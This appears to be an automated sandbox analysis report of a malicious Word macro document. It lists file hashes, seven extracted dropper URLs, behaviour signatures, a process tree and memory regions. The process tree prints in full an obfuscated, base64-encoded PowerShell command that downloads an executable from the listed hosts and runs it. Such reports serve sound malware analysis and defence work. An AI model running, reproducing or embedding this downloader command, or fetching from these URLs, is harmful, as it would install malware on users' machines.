Analysis

  • max time kernel
    101s
  • max time network
    70s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    20-09-2024 23:13

General

  • Target

    ee9dec7bc1e9574e2e1bf9a1a4499928_JaffaCakes118.doc

  • Size

    157KB

  • MD5

    ee9dec7bc1e9574e2e1bf9a1a4499928

  • SHA1

    10a2261d0599abc59d5c250e4c7b1844796494c0

  • SHA256

    5eae5031bef8f074ac1830fc0b0fff4f51d6fa04d513732a1394bd23c335a6aa

  • SHA512

    f79b841183f4f3b98c086b821838a453a8f1fa7fea9c0df72042449624c06ca418a3cd867d6e375a02589684d30d22ae603d96eff3f962150372ddaf721a736e

  • SSDEEP

    1536:HB445TEgrO3jSWAg83tle1ZZ0293QM0eetR2cOupLB5UZ55+a9WbPxLF/9qNWcj2:H22TWTogk079THcpOu5UZkb9F/94Wcj2

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://inflixon.com/wp-admin/472/

exe.dropper

http://bballbreak.com/wp-admin/O/

exe.dropper

http://etiangong.com/h5/Gxm/

exe.dropper

https://lbbniu.com/idealnotify/y/

exe.dropper

http://crashboxcharlotte.com/wp-includes/8/

exe.dropper

http://trendyhome.ltd/img4qrg/c/

exe.dropper

http://104.196.113.47/wp-admin/D/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ee9dec7bc1e9574e2e1bf9a1a4499928_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1640
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2404
    • C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exe
      POWeRsHeLL -ENCOD JABTADcANgAwAG0AYQBjAD0AKAAnAFUAJwArACcAYQAnACsAKAAnAGEAcwAnACsAJwA5ADgAeAAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAEUATgB2ADoAVQBTAEUAcgBQAHIATwBGAGkATABFAFwAbQBNADMARQAzAG0ASgBcAEcAdgBuADMAUgA5AGwAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIAZQBDAHQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAHUAcgBgAEkAVABgAFkAUAByAG8AVABgAG8AYwBvAGwAIgAgAD0AIAAoACgAJwB0AGwAcwAxACcAKwAnADIAJwApACsAKAAnACwAIAB0AGwAJwArACcAcwAxACcAKQArACcAMQAnACsAJwAsACcAKwAnACAAJwArACgAJwB0ACcAKwAnAGwAcwAnACkAKQA7ACQAVABlAHcAcwBnAGUANgAgAD0AIAAoACcARgByACcAKwAoACcAZQBfAGkAMQAnACsAJwBjACcAKQArACcAaABtACcAKQA7ACQAWQBlAHoAaAB5ADQANQA9ACgAJwBVAGwAJwArACgAJwBrADcAeAAnACsAJwByAGsAJwApACkAOwAkAE8AdwA5AGgAegBjAF8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAnACsAJwAwAH0ATQBtADMAZQAzACcAKwAnAG0AagB7ADAAJwArACcAfQBHAHYAbgAnACsAJwAzACcAKwAnAHIAOQAnACsAJwBsAHsAMAB9ACcAKQAgACAALQBmACAAWwBDAGgAYQBSAF0AOQAyACkAKwAkAFQAZQB3AHMAZwBlADYAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABKADMAbQAzAHQAbgA5AD0AKAAoACcATwAnACsAJwBhADQAbABoACcAKQArACcAXwAnACsAJwA0ACcAKQA7ACQATAB1ADEAbwB2AGsAaAA9AC4AKAAnAG4AZQAnACsAJwB3AC0AbwBiACcAKwAnAGoAJwArACcAZQBjAHQAJwApACAAbgBFAHQALgBXAEUAYgBjAGwASQBFAE4AdAA7ACQASgAzAGYAMgB3AHQAcAA9ACgAKAAnAGgAdAAnACsAJwB0AHAAOgAnACkAKwAoACcALwAnACsAJwAvAGkAbgAnACkAKwAnAGYAJwArACgAJwBsACcAKwAnAGkAeABvAG4AJwApACsAKAAnAC4AJwArACcAYwBvAG0AJwApACsAKAAnAC8AJwArACcAdwBwACcAKQArACcALQAnACsAKAAnAGEAZAAnACsAJwBtAGkAbgAvADQAJwArACcANwAnACkAKwAoACcAMgAnACsAJwAvACoAaAAnACsAJwB0AHQAJwApACsAKAAnAHAAOgAnACsAJwAvACcAKQArACcALwAnACsAKAAnAGIAYgBhAGwAJwArACcAbABiAHIAZQAnACkAKwAoACcAYQBrAC4AYwAnACsAJwBvAG0ALwB3AHAAJwApACsAKAAnAC0AJwArACcAYQBkAG0AaQBuACcAKQArACgAJwAvAE8AJwArACcALwAqAGgAJwApACsAJwB0AHQAJwArACcAcAAnACsAKAAnADoALwAnACsAJwAvAGUAJwApACsAKAAnAHQAaQAnACsAJwBhACcAKQArACcAbgAnACsAKAAnAGcAJwArACcAbwBuACcAKQArACcAZwAuACcAKwAoACcAYwAnACsAJwBvAG0AJwArACcALwBoADUALwAnACkAKwAoACcARwB4AG0AJwArACcALwAnACkAKwAnACoAaAAnACsAJwB0ACcAKwAoACcAdABwACcAKwAnAHMAJwApACsAJwA6ACcAKwAoACcALwAvACcAKwAnAGwAJwApACsAKAAnAGIAJwArACcAYgBuACcAKQArACgAJwBpACcAKwAnAHUALgAnACkAKwAoACcAYwBvACcAKwAnAG0AJwApACsAKAAnAC8AJwArACcAaQBkAGUAYQAnACkAKwAnAGwAJwArACgAJwBuAG8AJwArACcAdAAnACkAKwAnAGkAJwArACgAJwBmAHkALwB5AC8AJwArACcAKgBoACcAKwAnAHQAdAAnACkAKwAnAHAAOgAnACsAJwAvACcAKwAnAC8AYwAnACsAJwByACcAKwAnAGEAcwAnACsAKAAnAGgAYgAnACsAJwBvACcAKQArACcAeAAnACsAKAAnAGMAaABhAHIAJwArACcAbAAnACkAKwAnAG8AdAAnACsAKAAnAHQAZQAnACsAJwAuACcAKQArACgAJwBjAG8AJwArACcAbQAnACkAKwAnAC8AJwArACcAdwAnACsAKAAnAHAALQBpAG4AJwArACcAYwAnACkAKwAoACcAbAB1ACcAKwAnAGQAJwApACsAJwBlAHMAJwArACcALwAnACsAKAAnADgAJwArACcALwAqAGgAdAB0ACcAKwAnAHAAOgAvACcAKQArACcALwB0ACcAKwAnAHIAJwArACgAJwBlACcAKwAnAG4AZAAnACkAKwAoACcAeQBoAG8AJwArACcAbQAnACkAKwAoACcAZQAuACcAKwAnAGwAJwApACsAJwB0AGQAJwArACgAJwAvAGkAbQAnACsAJwBnADQAJwArACcAcQByACcAKQArACcAZwAnACsAKAAnAC8AYwAvACcAKwAnACoAJwApACsAKAAnAGgAdAB0AHAAJwArACcAOgAvAC8AMQAnACsAJwAwADQALgAnACkAKwAnADEAOQAnACsAKAAnADYAJwArACcALgAxACcAKQArACgAJwAxADMAJwArACcALgAnACkAKwAoACcANAA3AC8AJwArACcAdwAnACsAJwBwAC0AYQAnACkAKwAnAGQAJwArACgAJwBtAGkAJwArACcAbgAvAEQALwAnACkAKQAuACIAcwBQAGAATABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABRADYAYwA5AHcAdgBtAD0AKAAoACcAUgAnACsAJwAzAGQAbQB4ACcAKQArACcAbQA1ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEIAYwBxAHcAbQBhADYAIABpAG4AIAAkAEoAMwBmADIAdwB0AHAAKQB7AHQAcgB5AHsAJABMAHUAMQBvAHYAawBoAC4AIgBEAG8AVwBOAGAATABgAG8AQQBkAEYAYABpAGwAZQAiACgAJABCAGMAcQB3AG0AYQA2ACwAIAAkAE8AdwA5AGgAegBjAF8AKQA7ACQAUwA0AG4AbAA3AHYAMAA9ACgAKAAnAEUAagAnACsAJwB5ACcAKQArACgAJwB5AF8AJwArACcAcwAnACkAKwAnADAAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQAnACsAJwB0AGUAbQAnACkAIAAkAE8AdwA5AGgAegBjAF8AKQAuACIAbABlAGAATgBnAGAAVABIACIAIAAtAGcAZQAgADMANgA2ADEAMQApACAAewAmACgAJwBJACcAKwAnAG4AdgBvAGsAZQAtAEkAdAAnACsAJwBlACcAKwAnAG0AJwApACgAJABPAHcAOQBoAHoAYwBfACkAOwAkAFEAagA0AG8AbQA1ADMAPQAoACcAQwAnACsAJwBjADMAJwArACgAJwBqACcAKwAnAHcANQBpACcAKQApADsAYgByAGUAYQBrADsAJABEAHcAcAB3AHMANABiAD0AKAAnAE4AJwArACgAJwAzAG4AJwArACcAOQB6AGoAZwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASAA1AGEAYwBhAGsAbgA9ACgAKAAnAFAANwAnACsAJwAzAHMAJwApACsAKAAnAGgAJwArACcAbQB1ACcAKQApAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2880

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      19KB

      MD5

      02c1601e50f8d7ec293b18d9323a300f

      SHA1

      df888853d021bbb5951f077f8bfbfb92c3bbf07f

      SHA256

      b4b91418638a49413fd18454e61afff15e4c508d7d1e09d2338aa32ab28146e2

      SHA512

      9e3bf35a150b0dd2d877a7527c95500e8d6c53522eef549fcac580c6edca632d62dbc72a4675a7976e9ee108ae997daae66f434fe908f75e135d57534a90f608

    • memory/1640-27-0x0000000005500000-0x0000000005600000-memory.dmp

      Filesize

      1024KB

    • memory/1640-6-0x0000000005500000-0x0000000005600000-memory.dmp

      Filesize

      1024KB

    • memory/1640-61-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1640-39-0x00000000715BD000-0x00000000715C8000-memory.dmp

      Filesize

      44KB

    • memory/1640-21-0x0000000005500000-0x0000000005600000-memory.dmp

      Filesize

      1024KB

    • memory/1640-26-0x0000000005500000-0x0000000005600000-memory.dmp

      Filesize

      1024KB

    • memory/1640-31-0x0000000005500000-0x0000000005600000-memory.dmp

      Filesize

      1024KB

    • memory/1640-0-0x000000002F4A1000-0x000000002F4A2000-memory.dmp

      Filesize

      4KB

    • memory/1640-62-0x00000000715BD000-0x00000000715C8000-memory.dmp

      Filesize

      44KB

    • memory/1640-2-0x00000000715BD000-0x00000000715C8000-memory.dmp

      Filesize

      44KB

    • memory/1640-15-0x0000000005500000-0x0000000005600000-memory.dmp

      Filesize

      1024KB

    • memory/1640-40-0x0000000005500000-0x0000000005600000-memory.dmp

      Filesize

      1024KB

    • memory/1640-41-0x0000000005C30000-0x0000000005D30000-memory.dmp

      Filesize

      1024KB

    • memory/1640-42-0x0000000005500000-0x0000000005600000-memory.dmp

      Filesize

      1024KB

    • memory/1640-44-0x0000000005500000-0x0000000005600000-memory.dmp

      Filesize

      1024KB

    • memory/1640-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2880-38-0x0000000002410000-0x0000000002418000-memory.dmp

      Filesize

      32KB

    • memory/2880-37-0x000000001B240000-0x000000001B522000-memory.dmp

      Filesize

      2.9MB